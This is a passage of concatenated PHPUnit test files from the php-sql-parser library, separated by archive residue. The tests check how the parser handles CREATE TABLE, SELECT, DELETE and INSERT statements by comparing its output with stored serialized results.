 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue33Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue33a() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (LIKE xyz)";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33a.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with (LIKE)');
    }
    
    public function testIssue33b() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho LIKE xyz";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33b.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with LIKE');
    }

    public function testIssue33c() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000) NOT NULL, CONSTRAINT hohoho_pk PRIMARY KEY (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33c.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with named primary key and check');
    }

    public function testIssue33d() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), CONSTRAINT PRIMARY KEY (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33d.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with primary key and check');
    }
    
    public function testIssue33e() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY USING btree (a), CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33e.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with primary key and check');
    }

    public function testIssue33f() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE \"cachetable01\" (
        \"sp_id\" varchar(240) DEFAULT NULL,
        \"ro\" varchar(240) DEFAULT NULL,
        \"balance\" varchar(240) DEFAULT NULL,
        \"last_cache_timestamp\" varchar(25) DEFAULT NULL
        ) ENGINE=InnoDB DEFAULT CHARACTER SET=latin1";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33f.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement');
    }

    public function testIssue33g() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY USING btree (a(5) ASC) key_block_size 4 with parser haha, CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33g.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with primary key with index options and check');
    }

    public function testIssue33h() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000)) ENGINE=xyz,COMMENT='haha' DEFAULT COLLATE = latin1_german2_ci";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33h.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with table options separated by different characters');
    }

    public function testIssue33i() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), b integer, FOREIGN KEY haha (b) references xyz (id) match full on delete cascade) ";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33i.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with foreign key references');
    }

    public function testIssue33j() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TEMPORARY TABLE IF   NOT 
        EXISTS turma(id text NOT NULL ,
        nome text NOT NULL ,
        nota1 int NOT NULL ,
        nota2 int NOT NULL
        )";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33j.serialized');
        $this->assertEquals($expected, $p, 'simple CREATE TABLE statement with positions');
    }

    public function testIssue33k() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a varchar(1000), PRIMARY KEY (a(5) ASC) key_block_size 4 using btree with parser haha, CHECK(a > 5))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33k.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with primary key and multiple index options and check');
    }

    public function testIssue33l() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE hohoho (a integer not null) REPLACE AS SELECT DISTINCT * FROM abcd WHERE x<5";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33l.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with select statement, replace duplicates');
    }

    public function testIssue33m() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ti (id INT, amount DECIMAL(7,2), tr_date DATE)
            ENGINE=INNODB
            PARTITION BY HASH( MONTH(tr_date) )
            PARTITIONS 6";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33m.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with partitions');
    }

    public function testIssue33n() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ti (id INT, amount DECIMAL(7,2), tr_date DATE)
            ENGINE=INNODB
            PARTITION BY LINEAR KEY ALGORITHM=2 (tr_date)
            PARTITIONS 6";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33n.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with partitions');
    }

    public function testIssue33o() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ti (id INT, amount DECIMAL(7,2), tr_date DATE)
            ENGINE=INNODB
            PARTITION BY LINEAR KEY ALGORITHM=2 (tr_date)
            PARTITIONS 6
            SUBPARTITION BY LINEAR HASH (MONTH(tr_date))
            SUBPARTITIONS 2";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33o.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with partitions');
    }

    public function testIssue33p() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ti (id INT, amount DECIMAL(7,2), purchased DATE)
            ENGINE=INNODB
            PARTITION BY RANGE(YEAR(purchased))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33p.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with partitions');
    }

    public function testIssue33q() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ti (id INT, amount DECIMAL(7,2), purchased DATE)
            ENGINE=INNODB
            PARTITION BY LIST COLUMNS (purchased, amount)";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33q.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with partitions');
    }

    public function testIssue33r() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ts (id INT, purchased DATE)
            PARTITION BY RANGE( YEAR(purchased) )
            SUBPARTITION BY HASH( TO_DAYS(purchased) ) (
                PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33r.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with subpartitions and partition-definitions');
    }

    public function testIssue33s() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ts (id INT, purchased DATE)
            PARTITION BY RANGE COLUMNS(id)
            PARTITIONS 3
            SUBPARTITION LINEAR KEY ALGORITHM=2 (purchased) 
            SUBPARTITIONS 2 (
                PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33s.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with subpartitions and partition-definitions');
    }

    public function testIssue33t() {
        $parser = new PHPSQLParser();
        $sql = "CREATE TABLE ts (id INT, purchased DATE)
            PARTITION BY RANGE COLUMNS(id)
            PARTITIONS 3
            SUBPARTITION LINEAR KEY ALGORITHM=2 (purchased) 
            SUBPARTITIONS 2 (
                PARTITION p0 VALUES LESS THAN (1990) 
                ENGINE bla
                INDEX DIRECTORY = '/bar/foo'
                MAX_ROWS = 5
                MIN_ROWS = 2
                (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) 
                STORAGE ENGINE=bla
                COMMENT = 'foobar'
                DATA DIRECTORY '/foo/bar'
                (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE 
                INDEX DIRECTORY '/foo/bar'
                MIN_ROWS =10
                MAX_ROWS  100
                (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue33t.serialized');
        $this->assertEquals($expected, $p, 'CREATE TABLE statement with subpartitions and partition-definitions');
    }
}
?>
PK     \<    E  vendor/greenlion/php-sql-parser/tests/cases/parser/allcolumnsTest.phpnu [        <?php
/**
 * allcolumnsTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class AllColumnsTest extends \PHPUnit\Framework\TestCase {
	
	protected $parser;
	
	/**
	 * @before
	 * Executed before each test
	 */
	protected function setup(): void {
		$this->parser = new PHPSQLParser();
	}
	
    public function testAllColumns1() {
        $sql="SELECT * FROM FAILED_LOGIN_ATTEMPTS WHERE ip='192.168.50.5'";
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'allcolumns1.serialized');
        $this->assertEquals($expected, $p, 'single all column alias');
    }
    
    public function testAllColumns2() {
        $sql="SELECT a * b FROM tests";
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'allcolumns2.serialized');
        $this->assertEquals($expected, $p, 'multiply two columns');
    }

    public function testAllColumns3() {
        $sql="SELECT count(*) FROM tests";
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'allcolumns3.serialized');
        $this->assertEquals($expected, $p, 'special function count(*)');
    }

    public function testAllColumns4() {
        $sql="SELECT a.* FROM FAILED_LOGIN_ATTEMPTS a";
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'allcolumns4.serialized');
        $this->assertEquals($expected, $p, 'single all column alias with table alias');
    }

    public function testAllColumns5() {
        $sql="SELECT a, * FROM tests";
        $p = $this->parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'allcolumns5.serialized');
        $this->assertEquals($expected, $p, 'column reference and a single all column alias');
    }
}
?>
PK     \%    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue93Test.phpnu [        <?php
/**
 * issue93.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue93Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue93() {


        $sql="select 1 as `a` order by `a`";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue93.serialized');
        $this->assertEquals($expected, $p, 'simple query');

    }
}

PK     \2    F  vendor/greenlion/php-sql-parser/tests/cases/parser/issue_git11Test.phpnu [        <?php

/**
 * issue_git11Test.php
 *
 * Test case for PHPSQLParser from issue #11 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class IssueGit11TestTest extends \PHPUnit\Framework\TestCase {
	
	public function testIssueGit11() {
		$query = "select column from table as ";
		$parser = new PHPSQLParser ();
		$p = $parser->parse ( $query );
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git11.serialized' );
		$this->assertEquals ( $expected, $p, 'infinite loop with empty alias' );
	}
}
?>
PK     \8    A  vendor/greenlion/php-sql-parser/tests/cases/parser/deleteTest.phpnu [        <?php
/**
 * delete.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class deleteTest extends \PHPUnit\Framework\TestCase {
	
    public function testDelete() {
        $sql = "delete from testA as a where a.id = 1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'delete1.serialized');
        $this->assertEquals($expected, $p, 'simple delete statement');

        $sql = "DELETE t1, t2 FROM t1 INNER JOIN t2 INNER JOIN t3 WHERE t1.id=t2.id AND t2.id=t3.id";
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'delete2.serialized');
        $this->assertEquals($expected, $p, 'multi-table delete statement');

        $sql = "DELETE FROM t1.*, t2.* USING t1 INNER JOIN t2 INNER JOIN t3 WHERE t1.id=t2.id AND t2.id=t3.id;";
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'delete3.serialized');
        $this->assertEquals($expected, $p, 'multi-table delete statement with using');

    }
}

PK     \!	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/gregoryTest.phpnu [        <?php

/**
 * gregoryTest.php
 *
 * Test case for PHPSQLParser from an issue reported by Gregory Luneau per e-mail.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2015 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class GregoryTest extends \PHPSQLParser\Test\AbstractTestCase {
	
    /**
     * @doesNotPerformAssertions
     */
	public function testGregory() {
/*
		$query = "
		SELECT * FROM project_relation pr
		JOIN Project_type2 t2 ON FIND_IN_SET(id , pr.projet_type2) AND FIND_IN_SET('FR' , t2.pays) 
		";
		$p = $this->parser->parse ( $query, true );
        eval(\Psy\sh());
		$this->log($p);
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'gregory.serialized' );
		$this->assertEquals ( $expected, $p, 'position problems with multiple functions in joins' );
*/
	}
}
?>
PK     \+0l    A  vendor/greenlion/php-sql-parser/tests/cases/parser/insertTest.phpnu [        <?php
/**
 * insert.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class insertTest extends \PHPUnit\Framework\TestCase {
	
    public function testInsert() {
        $parser = new PHPSQLParser();

        $sql = "insert into SETTINGS_GLOBAL (stg_value,stg_name) values('','force_ssl')";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'insert1.serialized');
        $this->assertEquals($expected, $p, 'insert some data into table');

        $sql = " INSERT INTO settings_global VALUES ('DBVersion', '146')";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'insert2.serialized');
        $this->assertEquals($expected, $p, 'insert some data into table with positions');

        $sql = "INSERT INTO surveys ( SID, OWNER_ID, ADMIN, ACTIVE, EXPIRES, STARTDATE, ADMINEMAIL, ANONYMIZED, FAXTO, FORMAT, SAVETIMINGS, TEMPLATE, LANGUAGE, DATESTAMP, USECOOKIE, ALLOWREGISTER, ALLOWSAVE, AUTOREDIRECT, ALLOWPREV, PRINTANSWERS, IPADDR, REFURL, DATECREATED, PUBLICSTATISTICS, PUBLICGRAPHS, LISTPUBLIC, HTMLEMAIL, TOKENANSWERSPERSISTENCE, ASSESSMENTS, USECAPTCHA, BOUNCE_EMAIL, EMAILRESPONSETO, EMAILNOTIFICATIONTO, TOKENLENGTH, SHOWXQUESTIONS, SHOWGROUPINFO, SHOWNOANSWER, SHOWQNUMCODE, SHOWWELCOME, SHOWPROGRESS, ALLOWJUMPS, NAVIGATIONDELAY, NOKEYBOARD, ALLOWEDITAFTERCOMPLETION ) 
        VALUES ( 32225, 1, 'André', 'N', null, null, 'hello@zks.uni-leipzig.de', 'N', '', 'G', 'N', 'default', 'de-informal', 'N', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N', a_function('2012-02-16','YYYY-MM-DD'), 'N', 'N', 'Y', 'Y', 'N', 'N', 'D', 'hello@zks.uni-leipzig.de', '', '', 15, 'Y', 'B', 'Y', 'X', 'Y', 'Y', 'N', 0, 'N', 'N' )";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'insert3.serialized');
        $this->assertEquals($expected, $p, 'insert with user-function');

    }
}

PK     \p	  	  A  vendor/greenlion/php-sql-parser/tests/cases/parser/inlistTest.phpnu [        <?php
